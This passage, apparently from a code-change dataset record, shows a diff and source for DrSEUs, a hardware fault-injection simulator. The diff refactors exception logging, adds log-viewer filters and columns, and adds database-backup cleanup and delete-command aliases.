attempt < attempts-1:\n@@ -111,12 +114,12 @@ def send_files(self, files, attempts=10):\n except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n- db.log_event_exception(\n+ db.log_event_trace(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n- 'SCP error')\n+ 'SCP error', exception=True)\n print(colored(\n- self.serial.port+' '+str(self.result_data['id'])+': '\n+ self.serial.port+', '+str(self.result_data['id'])+': '\n 'error sending file(s) (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n dut_scp.close()\n@@ -148,12 +151,12 @@ def get_file(self, file_, local_path='', attempts=10):\n except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n- db.log_event_exception(\n+ db.log_event_trace(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n- 'SSH error')\n+ 'SSH error', exception=True)\n print(colored(\n- self.serial.port+' '+str(self.result_data['id'])+': '\n+ self.serial.port+', '+str(self.result_data['id'])+': '\n 'error receiving file (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n if attempt < attempts-1:\n@@ -164,15 +167,15 @@ def get_file(self, file_, local_path='', attempts=10):\n dut_scp = SCPClient(ssh.get_transport())\n try:\n dut_scp.get(file_, local_path=local_path)\n- except:\n+ except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n- db.log_event_exception(\n+ db.log_event_trace(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n- 'SCP error')\n+ 'SCP error', exception=True)\n print(colored(\n- self.serial.port+' '+str(self.result_data['id'])+': '\n+ self.serial.port+', '+str(self.result_data['id'])+': '\n 'error receiving file (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n dut_scp.close()\n@@ -198,16 +201,17 @@ def read_until(self, string=None, continuous=False, boot=False):\n event_buff = ''\n event_buff_logged = ''\n errors = 0\n+ hanging = False\n while True:\n char = self.serial.read().decode('utf-8', 'replace')\n if not char:\n+ hanging = True\n if self.options.command != 'new':\n with sql() as db:\n- event_buff = buff.replace(event_buff_logged, '')\n- db.log_event(self.result_data['id'],\n- ('DUT' if not self.aux else 'AUX'),\n- 'Read timeout', event_buff)\n- event_buff_logged += event_buff\n+ db.log_event_trace(\n+ self.result_data['id'],\n+ ('DUT' if not self.aux else 'AUX'),\n+ 'Read timeout')\n if not continuous:\n break\n if self.options.command == 'new':\n@@ -265,6 +269,8 @@ def read_until(self, string=None, continuous=False, boot=False):\n db.update_dict('campaign', self.campaign_data)\n else:\n db.update_dict('result', self.result_data)\n+ if hanging:\n+ raise DrSEUsError(DrSEUsError.hanging)\n if errors and not boot:\n for message, category in self.error_messages:\n if message in buff:\n@@ -289,6 +295,8 @@ def do_login(self, ip_address=None, change_prompt=False, simics=False):\n self.read_until('export PS1=\\\"DrSEUs# \\\"')\n self.prompt = 'DrSEUs# '\n self.read_until()\n+ if self.login_command:\n+ self.command(self.login_command)\n self.command('mkdir ~/.ssh')\n self.command('touch ~/.ssh/authorized_keys')\n self.command('echo \\\"ssh-rsa '+self.rsakey.get_base64() +\ndiff --git a/fault_injector.py b/fault_injector.py\nindex ae6e5a5..384a3a7 100644\n--- a/fault_injector.py\n+++ b/fault_injector.py\n@@ -274,14 +274,9 @@ def check_output():\n return outcome, outcome_category\n \n def log_result(self):\n- out = ''\n- try:\n- out += self.debugger.dut.serial.port+' '\n- except AttributeError:\n- pass\n- out += (str(self.result_data['id'])+': ' +\n- self.result_data['outcome_category']+' - ' +\n- self.result_data['outcome'])\n+ out = (self.debugger.dut.serial.port+', '+str(self.result_data['id']) +\n+ ': '+self.result_data['outcome_category']+' - ' +\n+ self.result_data['outcome'])\n if self.result_data['data_diff'] is not None and \\\n self.result_data['data_diff'] < 1.0:\n out += ' {0:.2f}%'.format(max(self.result_data['data_diff']*100,\n@@ -313,12 +308,12 @@ def inject_and_monitor(self, iteration_counter):\n self.debugger.reset_dut()\n except Exception as error:\n with sql() as db:\n- db.log_event_exception(\n+ db.log_event_trace(\n self.result_data['id'],\n 'Debugger', # TODO: update source\n- 'Error resetting DUT')\n+ 'Error resetting DUT', exception=True)\n print(colored(\n- self.debugger.dut.serial.port+' ' +\n+ self.debugger.dut.serial.port+', ' +\n str(self.result_data['id'])+': '\n 'Error resetting DUT (attempt '+str(attempt+1) +\n '/'+str(attempts)+'): '+str(error), 'red'))\ndiff --git a/log/filters.py b/log/filters.py\nindex 9617b1a..a994409 100644\n--- a/log/filters.py\n+++ b/log/filters.py\n@@ -152,6 +152,15 @@ def __init__(self, *args, **kwargs):\n self.filters['event_type'].extra.update(choices=event_type_choices)\n self.filters['event_type'].widget.attrs['size'] = min(\n len(event_type_choices), 10)\n+ outcome_choices = result_choices(campaign, 'outcome')\n+ self.filters['result__outcome'].extra.update(choices=outcome_choices)\n+ self.filters['result__outcome'].widget.attrs['size'] = min(\n+ len(outcome_choices), 10)\n+ outcome_category_choices = result_choices(campaign, 'outcome_category')\n+ self.filters['result__outcome_category'].extra.update(\n+ choices=outcome_category_choices)\n+ self.filters['result__outcome_category'].widget.attrs['size'] = min(\n+ len(outcome_category_choices), 10)\n source_choices = self.event_choices(campaign, 'source')\n self.filters['source'].extra.update(choices=source_choices)\n self.filters['source'].widget.attrs['size'] = min(\n@@ -172,12 +181,19 @@ def event_choices(self, campaign, attribute):\n help_text='')\n event_type = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n+ result__outcome = django_filters.MultipleChoiceFilter(\n+ label='Outcome',\n+ widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n+ result__outcome_category = django_filters.MultipleChoiceFilter(\n+ label='Outcome category',\n+ widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n source = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n \n class Meta:\n model = event\n- fields = ('source', 'event_type', 'description')\n+ fields = ('result__outcome_category', 'result__outcome', 'source',\n+ 'event_type', 'description')\n \n \n class simics_register_diff_filter(django_filters.FilterSet):\ndiff --git a/log/tables.py b/log/tables.py\nindex 8afe4af..e6b7a4a 100644\n--- a/log/tables.py\n+++ b/log/tables.py\n@@ -56,6 +56,7 @@ class results_table(tables.Table):\n select = tables.TemplateColumn(\n '',\n verbose_name='', orderable=False)\n+ injection_success = tables.Column(empty_values=(), orderable=False)\n timestamp = tables.DateTimeColumn(format='m/d/Y H:i:s.u')\n targets = tables.Column(empty_values=(), orderable=False)\n \n@@ -77,6 +78,19 @@ def render_registers(self, record):\n else:\n return '-'\n \n+ def render_injection_success(self, record):\n+ success = '-'\n+ if record is not None:\n+ for injection_ in injection.objects.filter(result=record.id):\n+ if injection_.success is None:\n+ success = '-'\n+ elif not injection_.success:\n+ success = False\n+ break\n+ else:\n+ success = True\n+ return success\n+\n def render_targets(self, record):\n if record is not None:\n targets = [injection_.target for injection_\n@@ -95,8 +109,8 @@ class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = result\n fields = ('select', 'id_', 'timestamp', 'outcome_category', 'outcome',\n- 'data_diff', 'detected_errors', 'num_injections', 'targets',\n- 'registers')\n+ 'data_diff', 'detected_errors', 'events', 'num_injections',\n+ 'targets', 'registers', 'injection_success')\n order_by = 'id_'\n \n \ndiff --git a/log/templates/result.html b/log/templates/result.html\nindex 921ad85..e3fe90d 100644\n--- a/log/templates/result.html\n+++ b/log/templates/result.html\n@@ -2,89 +2,6 @@\n \n {% block body %}\n {% load django_tables2 %}\n-{% if campaign_data.use_simics %}\n-

    \n-

    \n- \n- \n- Result\n-

    \n-
    \n- {% csrf_token %}\n- {% render_table table %}\n-
    \n-
    \n-
    \n- \n-
    \n-

    \n- \n- \n- Injections\n-

    \n- {% render_table injection_table %}\n-

    \n- \n- \n- Events\n-

    \n- {% render_table event_table %}\n- {% if output_image %}\n-

    \n- \n- \n- Output Image\n-

    \n- \n- {% endif %}\n- \n- \n- \n- \n- \n-
    \n-
    \n-

    \n- \n- \n- DUT Output\n-

    \n- {{ result.dut_output }}\n- {% if campaign_data.use_aux %}\n-

    \n- \n- \n- AUX Output\n-

    \n- {{ result.aux_output }}\n- {% endif %}\n-

    \n- \n- \n- Debugger Output\n-

    \n- {{ result.debugger_output }}\n-
    \n-     		\n-
    \n-

    \n- \n- \n- Register Diffs\n-

    \n- {% render_table register_table %}\n-
    \n-
    \n-

    \n- \n- \n- Memory Diffs\n-

    \n- {% render_table memory_table %}\n-
    \n-
    \n-
    \n-{% else %}\n
    \n

    \n \n@@ -124,6 +41,54 @@

    \n \n

    \n {% endif %}\n+ {% if campaign_data.use_simics %}\n+ \n+ \n+ \n+ \n+ \n+
    \n+
    \n+

    \n+ \n+ \n+ DUT Output\n+

    \n+ {{ result.dut_output }}\n+ {% if campaign_data.use_aux %}\n+

    \n+ \n+ \n+ AUX Output\n+

    \n+ {{ result.aux_output }}\n+ {% endif %}\n+

    \n+ \n+ \n+ Debugger Output\n+

    \n+ {{ result.debugger_output }}\n+
    \n+     		\n+
    \n+

    \n+ \n+ \n+ Register Diffs\n+

    \n+ {% render_table register_table %}\n+
    \n+
    \n+

    \n+ \n+ \n+ Memory Diffs\n+

    \n+ {% render_table memory_table %}\n+
    \n+
    \n+ {% else %}\n

    \n \n \n@@ -144,7 +109,8 @@

    \n Debugger Output\n

    \n {{ result.debugger_output }}\n+ {% endif %}\n
    \n \n-{% endif %}\n+\n {% endblock %}\ndiff --git a/log/templates/results.html b/log/templates/results.html\nindex 610aafb..72912f1 100644\n--- a/log/templates/results.html\n+++ b/log/templates/results.html\n@@ -22,10 +22,10 @@

    \n checkboxes[i].checked = !checkboxes[i].checked;\n }\n }\n- function open_selected() {\n+ function open_results(only_selected) {\n checkboxes = document.getElementsByName('select_box');\n for(var i=0, n=checkboxes.length; i\n

    		\n
    \n- \n+ \n
    \n     		\n@@ -98,6 +98,9 @@

    \n \n

    		\n+
    \n+ \n+
    \n     		\n
    \ndiff --git a/log/views.py b/log/views.py\nindex d7cc98e..f23272f 100644\n--- a/log/views.py\n+++ b/log/views.py\n@@ -101,7 +101,10 @@ def results_page(request, campaign_id, filter_events=False):\n filter_objects = injection.objects.filter(\n result__campaign_id=campaign_id)\n if len(filter_objects) == 0:\n- return redirect('/campaign/'+str(campaign_id)+'/info')\n+ if filter_events:\n+ return redirect('/campaign/'+str(campaign_id)+'/results')\n+ else:\n+ return redirect('/campaign/'+str(campaign_id)+'/info')\n if filter_events:\n filter_ = event_filter(request.GET, queryset=filter_objects,\n campaign=campaign_id)\ndiff --git a/simics.py b/simics.py\nindex c757682..c7c40c3 100644\n--- a/simics.py\n+++ b/simics.py\n@@ -65,10 +65,10 @@ def __launch_simics(self, checkpoint=None):\n except Exception as error:\n self.simics.kill()\n with sql() as db:\n- db.log_event_exception(self.result_data['id'], 'Simics',\n- 'Error launching Simics')\n+ db.log_event_trace(self.result_data['id'], 'Simics',\n+ 'Error launching Simics', exception=True)\n print(colored(\n- self.dut.serial.port+' '+str(self.result_data['id'])+': '\n+ self.dut.serial.port+', '+str(self.result_data['id'])+': '\n 'error launching simics (attempt ' +\n str(attempt+1)+'/'+str(attempts)+'): '+str(error), 'red'))\n if attempt < attempts-1:\ndiff --git a/sql.py b/sql.py\nindex 7487c45..5a29fff 100644\n--- a/sql.py\n+++ b/sql.py\n@@ -1,8 +1,7 @@\n from datetime import datetime\n-from io import StringIO\n import os\n import sqlite3\n-from traceback import print_exc\n+from traceback import format_exc, format_stack\n \n \n class sql(object):\n@@ -64,12 +63,12 @@ def log_event(self, result_id, source, event_type, description=None):\n 'timestamp': None}\n self.insert_dict('event', event_data)\n \n- def log_event_exception(self, result_id, source, event_type):\n- string_file = StringIO()\n- print_exc(file=string_file)\n- exception = string_file.getvalue()\n- string_file.close()\n- self.log_event(result_id, source, event_type, exception)\n+ def log_event_trace(self, result_id, source, event_type, exception=False):\n+ if exception:\n+ description = ''.join(format_exc())\n+ else:\n+ description = ''.join(format_stack()[:-2])\n+ self.log_event(result_id, source, event_type, description)\n \n def __exit__(self, type_, value, traceback):\n self.connection.close()\ndiff --git a/utilities.py b/utilities.py\nindex f2638ed..2f53013 100644\n--- a/utilities.py\n+++ b/utilities.py\n@@ -60,13 +60,28 @@ def get_campaign_data(campaign_id):\n \n \n def backup_database(none=None):\n- print('backing up database...', end='')\n- db_backup = ('campaign-data/' +\n- '-'.join([str(unit).zfill(2)\n- for unit in datetime.now().timetuple()[:6]]) +\n- '.db.sqlite3')\n- copy('campaign-data/db.sqlite3', db_backup)\n- print('done')\n+ if os.path.exists('campaign-data/db.sqlite3'):\n+ print('backing up database...', end='')\n+ db_backup = ('campaign-data/' +\n+ '-'.join([str(unit).zfill(2)\n+ for unit in datetime.now().timetuple()[:6]]) +\n+ '.db.sqlite3')\n+ copy('campaign-data/db.sqlite3', db_backup)\n+ print('done')\n+\n+\n+def clean(none=None):\n+ if os.path.exists('campaign-data/'):\n+ deleted_backup = False\n+ for item in os.listdir('campaign-data/'):\n+ if '.db.sqlite3' in item:\n+ os.remove('campaign-data/'+item)\n+ deleted_backup = True\n+ if deleted_backup:\n+ print('deleted database backup(s)')\n+ if os.path.exists('simics-workspace/injected-checkpoints'):\n+ rmtree('simics-workspace/injected-checkpoints')\n+ print('deleted injected checkpoints')\n \n \n def delete(options):\n@@ -113,11 +128,11 @@ def delete_campaign(campaign_id):\n print('deleted gold checkpoints')\n \n # def delete(options):\n- if options.delete == 'results':\n+ if options.delete in ('results', 'r'):\n delete_results(options.campaign_id)\n- elif options.delete == 'campaign':\n+ elif options.delete in ('campaign', 'c'):\n delete_campaign(options.campaign_id)\n- elif options.delete == 'all':\n+ elif options.delete in ('all', 'a'):\n if os.path.exists('simics-workspace/gold-checkpoints'):\n rmtree('simics-workspace/gold-checkpoints')\n print('deleted gold checkpoints')\n", "files": {"/drseus.py": {"changes": [{"diff": "\n help='application to run on device')\n new_campaign.add_argument('-A', '--arch', action='store',\n- choices=('a9', 'p2020'), dest='architecture',\n+ choices=['a9', 'p2020'], dest='architecture',\n default='p2020',\n help='target architecture [default=p2020]')\n new_campaign.add_argument('-t', '--timing', action='store', type=int,\n", "add": 1, "remove": 1, "filename": "/drseus.py", "badparts": [" choices=('a9', 'p2020'), dest='architecture',"], "goodparts": [" choices=['a9', 'p2020'], dest='architecture',"]}, {"diff": "\n help='delete results and campaigns')\n delete.add_argument('delete', action='store',\n- choices=('all', 'results', 'campaign'),\n- help='delete {results} for the selected campaign, '\n- 'delete selected {campaign} and its results, '\n- 'or delete {all} campaigns and results')\n+ choices=['results', 'campaign', 'all', 'r', 'c', 'a'],\n+ help='delete {results, r} for the selected campaign, '\n+ 'delete selected {campaign, c} and its results, '\n+ 'or delete {all, a} campaigns and results')\n delete.set_defaults(func=utilities.delete)\n \n merge = subparsers.add_parser('merge', aliases=['m', 'M'],\n", "add": 4, "remove": 4, "filename": "/drseus.py", "badparts": [" choices=('all', 'results', 'campaign'),", " help='delete {results} for the selected campaign, '", " 'delete selected {campaign} and its results, '", " 'or delete {all} campaigns and results')"], "goodparts": [" choices=['results', 'campaign', 'all', 'r', 'c', 'a'],", " help='delete {results, r} for the selected campaign, '", " 'delete selected {campaign, c} and its results, '", " 'or delete {all, a} campaigns and results')"]}], "source": "\n\nfrom argparse import ArgumentParser import utilities parser=ArgumentParser( description='The Dynamic Robust Single Event Upset Simulator ' 'was created by Ed Carlisle IV', epilog='Begin by creating a new campaign with \"%(prog)s new APPLICATION\". ' 'Then run injections with \"%(prog)s inject\".') parser.add_argument('-C', '--campaign', action='store', type=int, metavar='ID', dest='campaign_id', default=0, help='campaign to use, defaults to last campaign created') parser.add_argument('-D', '--debug', action='store_true', dest='debug', help='display device output for parallel injections') parser.add_argument('-T', '--timeout', action='store', type=int, metavar='SECONDS', dest='timeout', default=300, help='device read timeout[default=300]') parser.add_argument('--serial', action='store', metavar='PORT', dest='dut_serial_port', help='DUT serial port[p2020 default=/dev/ttyUSB1] ' '[a9 default=/dev/ttyACM0](overridden by Simics)') parser.add_argument('--baud', action='store', type=int, metavar='RATE', dest='dut_baud_rate', default=115200, help='DUT serial port baud rate[default=115200]') parser.add_argument('--scp', action='store', type=int, metavar='PORT', dest='dut_scp_port', default=22, help='DUT scp port[default=22](overridden by Simics)') parser.add_argument('--prompt', action='store', metavar='PROMPT', dest='dut_prompt', help='DUT console prompt[p2020 default=root@p2020rdb:~ '[a9 default=[root@ZED] parser.add_argument('--user', action='store', dest='username', default='root', help='device username') parser.add_argument('--pass', action='store', dest='password', default='chrec', help='device password') parser.add_argument('--uboot', action='store', metavar='COMMAND', dest='dut_uboot', default='', help='DUT u-boot command') parser.add_argument('--aux_serial', action='store', metavar='PORT', dest='aux_serial_port', help='AUX serial port[p2020 default=/dev/ttyUSB1] ' '[a9 default=/dev/ttyACM0](overridden by Simics)') parser.add_argument('--aux_baud', action='store', type=int, metavar='RATE', dest='aux_baud_rate', default=115200, help='AUX serial port baud rate[default=115200]') parser.add_argument('--aux_scp', action='store', type=int, metavar='PORT', dest='aux_scp_port', default=22, help='AUX scp port[default=22](overridden by Simics)') parser.add_argument('--aux_prompt', action='store', metavar='PROMPT', dest='aux_prompt', help='AUX console prompt[p2020 default=root@p2020rdb:~ '[a9 default=[root@ZED] parser.add_argument('--aux_uboot', action='store', metavar='COMMAND', dest='aux_uboot', default='', help='AUX u-boot command') parser.add_argument('--debugger_ip', action='store', metavar='ADDRESS', dest='debugger_ip_address', default='10.42.0.50', help='debugger ip address[default=10.42.0.50] ' '(ignored by Simics and ZedBoards)') parser.add_argument('--no_jtag', action='store_false', dest='jtag', help='do not connect to jtag debugger(ignored by Simics)') subparsers=parser.add_subparsers( title='commands', description='Run \"%(prog)s COMMAND -h\" to get additional help for each ' 'command', metavar='COMMAND', dest='command') new_campaign=subparsers.add_parser('new', aliases=['n'], help='create a new campaign', description='create a new campaign') new_campaign.add_argument('application', action='store', metavar='APPLICATION', help='application to run on device') new_campaign.add_argument('-A', '--arch', action='store', choices=('a9', 'p2020'), dest='architecture', default='p2020', help='target architecture[default=p2020]') new_campaign.add_argument('-t', '--timing', action='store', type=int, dest='iterations', default=5, help='number of timing iterations to run[default=5]') new_campaign.add_argument('-a', '--args', action='store', nargs='+', dest='arguments', help='arguments for application') new_campaign.add_argument('-d', '--dir', action='store', dest='directory', default='fiapps', help='directory to look for files[default=fiapps]') new_campaign.add_argument('-f', '--files', action='store', nargs='+', metavar='FILE', dest='files', help='files to copy to device') new_campaign.add_argument('-o', '--output', action='store', dest='file', default='result.dat', help='target application output file ' '[default=result.dat]') new_campaign.add_argument('-x', '--aux', action='store_true', dest='use_aux', help='use auxiliary device during testing') new_campaign.add_argument('-y', '--aux_app', action='store', metavar='APPLICATION', dest='aux_application', help='target application for auxiliary device') new_campaign.add_argument('-z', '--aux_args', action='store', metavar='ARGUMENTS', dest='aux_arguments', help='arguments for auxiliary application') new_campaign.add_argument('-F', '--aux_files', action='store', nargs='+', metavar='FILE', dest='aux_files', help='files to copy to auxiliary device') new_campaign.add_argument('-O', '--aux_output', action='store_true', dest='use_aux_output', help='use output file from auxiliary device') new_campaign.add_argument('-k', '--kill_dut', action='store_true', dest='kill_dut', help='send ctrl-c to DUT after auxiliary device ' 'completes execution') new_campaign.add_argument('-s', '--simics', action='store_true', dest='use_simics', help='use Simics simulator') new_simics_campaign=new_campaign.add_argument_group( 'Simics campaigns', 'Additional options for Simics campaigns only') new_simics_campaign.add_argument('-c', '--checkpoints', action='store', type=int, metavar='CHECKPOINTS', dest='checkpoints', default=50, help='number of gold checkpoints to target for' ' creation(actual number of checkpoints ' 'may be different)[default=50]') new_campaign.set_defaults(func=utilities.create_campaign) inject=subparsers.add_parser('inject', aliases=['i', 'I', 'inj'], help='perform fault injections on a campaign', description='perform fault injections on a ' 'campaign') inject.add_argument('-n', '--iterations', action='store', type=int, dest='iterations', help='number of iterations to perform[default=infinite]') inject.add_argument('-i', '--injections', action='store', type=int, dest='injections', default=1, help='number of injections per iteration[default=1]') inject.add_argument('-t', '--targets', action='store', nargs='+', metavar='TARGET', dest='selected_targets', help='list of targets for injection') inject.add_argument('-p', '--processes', action='store', type=int, dest='processes', default=1, help='number of injections to perform in parallel ' '(only supported for ZedBoards and Simics)') inject_simics=inject.add_argument_group( 'Simics campaigns', 'Additional options for Simics campaigns only') inject_simics.add_argument('-a', '--compare_all', action='store_true', dest='compare_all', help='monitor all checkpoints(only last by ' 'default), IMPORTANT: do NOT use with ' '\"-p\" or \"--processes\" when using this ' 'option for the first time in a ' 'campaign') inject.set_defaults(func=utilities.inject_campaign) supervise=subparsers.add_parser('supervise', aliases=['s', 'S'], help='run interactive supervisor', description='run interactive supervisor') supervise.add_argument('-w', '--wireshark', action='store_true', dest='capture', help='run remote packet capture') supervise.set_defaults(func=utilities.launch_supervisor) log_viewer=subparsers.add_parser('log', aliases=['l'], help='start the log web server', description='start the log web server') log_viewer.add_argument('-p', '--port', action='store', type=int, dest='port', default=8000, help='log web server port[default=8000]') log_viewer.set_defaults(func=utilities.view_logs) zedboards=subparsers.add_parser('zedboards', aliases=['z', 'Z'], help='print information about attached ' 'ZedBoards', description='print information about ' 'attached ZedBoards') zedboards.set_defaults(func=utilities.print_zedboard_info) list_campaigns=subparsers.add_parser('list', aliases=['L', 'ls'], help='list campaigns', description='list campaigns') list_campaigns.set_defaults(func=utilities.list_campaigns) delete=subparsers.add_parser('delete', aliases=['d', 'D'], description='delete results and campaigns', help='delete results and campaigns') delete.add_argument('delete', action='store', choices=('all', 'results', 'campaign'), help='delete{results} for the selected campaign, ' 'delete selected{campaign} and its results, ' 'or delete{all} campaigns and results') delete.set_defaults(func=utilities.delete) merge=subparsers.add_parser('merge', aliases=['m', 'M'], help='merge campaigns', description='merge campaigns') merge.add_argument('directory', action='store', metavar='DIRECTORY', help='merge campaigns from external directory into the ' 'local directory') merge.set_defaults(func=utilities.merge_campaigns) openocd=subparsers.add_parser('openocd', aliases=['o', 'O'], help='launch openocd for DUT ' '(only supported for ZedBoards)', description='launch openocd for DUT ' '(only supported for ZedBoards)') openocd.set_defaults(func=utilities.launch_openocd) regenerate=subparsers.add_parser('regenerate', aliases=['r', 'R'], help='regenerate injected state and launch ' 'in Simics(only supported for Simics ' 'campaigns)', description='regenerate injected state and ' 'launch in Simics(only ' 'supported for Simics ' 'campaigns)') regenerate.add_argument('result_id', action='store', metavar='RESULT_ID', help='result to regenerate') regenerate.set_defaults(func=utilities.regenerate) update=subparsers.add_parser('update', aliases=['u', 'U'], help='update gold checkpoint dependency paths ' '(only supported for Simics campaigns)', description='update gold checkpoint dependency ' 'paths(only supported for Simics ' 'campaigns)') update.set_defaults(func=utilities.update_dependencies) backup=subparsers.add_parser('backup', aliases=['b', 'B'], help='backup the results database', description='backup the results database') backup.set_defaults(func=utilities.backup_database) options=parser.parse_args() if options.command is None: parser.print_help() else: if options.command !='new': if not options.campaign_id: options.campaign_id=utilities.get_last_campaign() if options.campaign_id: options.architecture=\\ utilities.get_campaign_data(options.campaign_id)['architecture'] if options.command=='new' or options.campaign_id: if options.architecture=='p2020': if options.dut_serial_port is None: options.dut_serial_port='/dev/ttyUSB1' if options.dut_prompt is None: options.dut_prompt='root@p2020rdb:~ if options.aux_serial_port is None: options.aux_serial_port='/dev/ttyUSB0' if options.aux_prompt is None: options.aux_prompt='root@p2020rdb:~ elif options.architecture=='a9': if options.dut_serial_port is None: options.dut_serial_port='/dev/ttyACM0' if options.dut_prompt is None: options.dut_prompt='[root@ZED] if options.aux_serial_port is None: options.aux_serial_port='/dev/ttyACM1' if options.aux_prompt is None: options.aux_prompt='[root@ZED] if options.command=='new' and options.arguments: options.arguments=' '.join(options.arguments) options.func(options) ", "sourceWithComments": "#!/usr/bin/env python3\nfrom argparse import ArgumentParser\n\nimport utilities\n\n# TODO: add option for device password\n# TODO: add options for custom error messages\n# TODO: use formatting strings\n# TODO: add ip address override\n# TODO: remove output image buttons if not needed from log viewer result page\n# TODO: move rsakey back into campaign_data/db\n# TODO: add boot commands option\n# TODO: add modes to backup database and delete backups\n# TODO: add mode to redo injection iteration\n# TODO: add fallback to power cycle when resetting dut\n# TODO: add support for injection of multi-bit upsets\n# TODO: add option for number of times to rerun app for latent fault case\n# TODO: change Exception in simics.py to DrSEUsError\n\nparser = ArgumentParser(\n description='The Dynamic Robust Single Event Upset Simulator '\n 'was created by Ed Carlisle IV',\n epilog='Begin by creating a new campaign with \"%(prog)s new APPLICATION\". '\n 'Then run injections with \"%(prog)s inject\".')\nparser.add_argument('-C', '--campaign', action='store', type=int, metavar='ID',\n dest='campaign_id', default=0,\n help='campaign to use, defaults to last campaign created')\nparser.add_argument('-D', '--debug', action='store_true', dest='debug',\n help='display device output for parallel injections')\nparser.add_argument('-T', '--timeout', action='store', type=int,\n metavar='SECONDS', dest='timeout', default=300,\n help='device read timeout [default=300]')\nparser.add_argument('--serial', action='store', metavar='PORT',\n dest='dut_serial_port',\n help='DUT serial port [p2020 default=/dev/ttyUSB1] '\n '[a9 default=/dev/ttyACM0] (overridden by Simics)')\nparser.add_argument('--baud', action='store', type=int, metavar='RATE',\n dest='dut_baud_rate', default=115200,\n help='DUT serial port baud rate [default=115200]')\nparser.add_argument('--scp', action='store', type=int, metavar='PORT',\n dest='dut_scp_port', default=22,\n help='DUT scp port [default=22] (overridden by Simics)')\nparser.add_argument('--prompt', action='store', metavar='PROMPT',\n dest='dut_prompt',\n help='DUT console prompt [p2020 default=root@p2020rdb:~#] '\n '[a9 default=[root@ZED]#] (overridden by Simics)')\nparser.add_argument('--user', action='store', dest='username', default='root',\n help='device username')\nparser.add_argument('--pass', action='store', dest='password', default='chrec',\n help='device password')\nparser.add_argument('--uboot', action='store', metavar='COMMAND',\n dest='dut_uboot', default='', help='DUT u-boot command')\nparser.add_argument('--aux_serial', action='store', metavar='PORT',\n dest='aux_serial_port',\n help='AUX serial port [p2020 default=/dev/ttyUSB1] '\n '[a9 default=/dev/ttyACM0] (overridden by Simics)')\nparser.add_argument('--aux_baud', action='store', type=int, metavar='RATE',\n dest='aux_baud_rate', default=115200,\n help='AUX serial port baud rate [default=115200]')\nparser.add_argument('--aux_scp', action='store', type=int, metavar='PORT',\n dest='aux_scp_port', default=22,\n help='AUX scp port [default=22] (overridden by Simics)')\nparser.add_argument('--aux_prompt', action='store', metavar='PROMPT',\n dest='aux_prompt',\n help='AUX console prompt [p2020 default=root@p2020rdb:~#] '\n '[a9 default=[root@ZED]#] (overridden by Simics)')\nparser.add_argument('--aux_uboot', action='store', metavar='COMMAND',\n dest='aux_uboot', default='', help='AUX u-boot command')\nparser.add_argument('--debugger_ip', action='store', metavar='ADDRESS',\n dest='debugger_ip_address', default='10.42.0.50',\n help='debugger ip address [default=10.42.0.50] '\n '(ignored by Simics and ZedBoards)')\nparser.add_argument('--no_jtag', action='store_false', dest='jtag',\n help='do not connect to jtag debugger (ignored by Simics)')\nsubparsers = parser.add_subparsers(\n title='commands',\n description='Run \"%(prog)s COMMAND -h\" to get additional help for each '\n 'command',\n metavar='COMMAND', dest='command')\n\nnew_campaign = subparsers.add_parser('new', aliases=['n'],\n help='create a new campaign',\n description='create a new campaign')\nnew_campaign.add_argument('application', action='store', metavar='APPLICATION',\n help='application to run on device')\nnew_campaign.add_argument('-A', '--arch', action='store',\n choices=('a9', 'p2020'), dest='architecture',\n default='p2020',\n help='target architecture [default=p2020]')\nnew_campaign.add_argument('-t', '--timing', action='store', type=int,\n dest='iterations', default=5,\n help='number of timing iterations to run [default=5]')\nnew_campaign.add_argument('-a', '--args', action='store', nargs='+',\n dest='arguments', help='arguments for application')\nnew_campaign.add_argument('-d', '--dir', action='store', dest='directory',\n default='fiapps',\n help='directory to look for files [default=fiapps]')\nnew_campaign.add_argument('-f', '--files', action='store', nargs='+',\n metavar='FILE', dest='files',\n help='files to copy to device')\nnew_campaign.add_argument('-o', '--output', action='store', dest='file',\n default='result.dat',\n help='target application output file '\n '[default=result.dat]')\nnew_campaign.add_argument('-x', '--aux', action='store_true', dest='use_aux',\n help='use auxiliary device during testing')\nnew_campaign.add_argument('-y', '--aux_app', action='store',\n metavar='APPLICATION', dest='aux_application',\n help='target application for auxiliary device')\nnew_campaign.add_argument('-z', '--aux_args', action='store',\n metavar='ARGUMENTS', dest='aux_arguments',\n help='arguments for auxiliary application')\nnew_campaign.add_argument('-F', '--aux_files', action='store', nargs='+',\n metavar='FILE', dest='aux_files',\n help='files to copy to auxiliary device')\nnew_campaign.add_argument('-O', '--aux_output', action='store_true',\n dest='use_aux_output',\n help='use output file from auxiliary device')\nnew_campaign.add_argument('-k', '--kill_dut', action='store_true',\n dest='kill_dut',\n help='send ctrl-c to DUT after auxiliary device '\n 'completes execution')\nnew_campaign.add_argument('-s', '--simics', action='store_true',\n dest='use_simics', help='use Simics simulator')\nnew_simics_campaign = new_campaign.add_argument_group(\n 'Simics campaigns', 'Additional options for Simics campaigns only')\nnew_simics_campaign.add_argument('-c', '--checkpoints', action='store',\n type=int, metavar='CHECKPOINTS',\n dest='checkpoints', default=50,\n help='number of gold checkpoints to target for'\n ' creation (actual number of checkpoints '\n 'may be different) [default=50]')\nnew_campaign.set_defaults(func=utilities.create_campaign)\n\ninject = subparsers.add_parser('inject', aliases=['i', 'I', 'inj'],\n help='perform fault injections on a campaign',\n description='perform fault injections on a '\n 'campaign')\ninject.add_argument('-n', '--iterations', action='store', type=int,\n dest='iterations',\n help='number of iterations to perform [default=infinite]')\ninject.add_argument('-i', '--injections', action='store', type=int,\n dest='injections', default=1,\n help='number of injections per iteration [default=1]')\ninject.add_argument('-t', '--targets', action='store', nargs='+',\n metavar='TARGET', 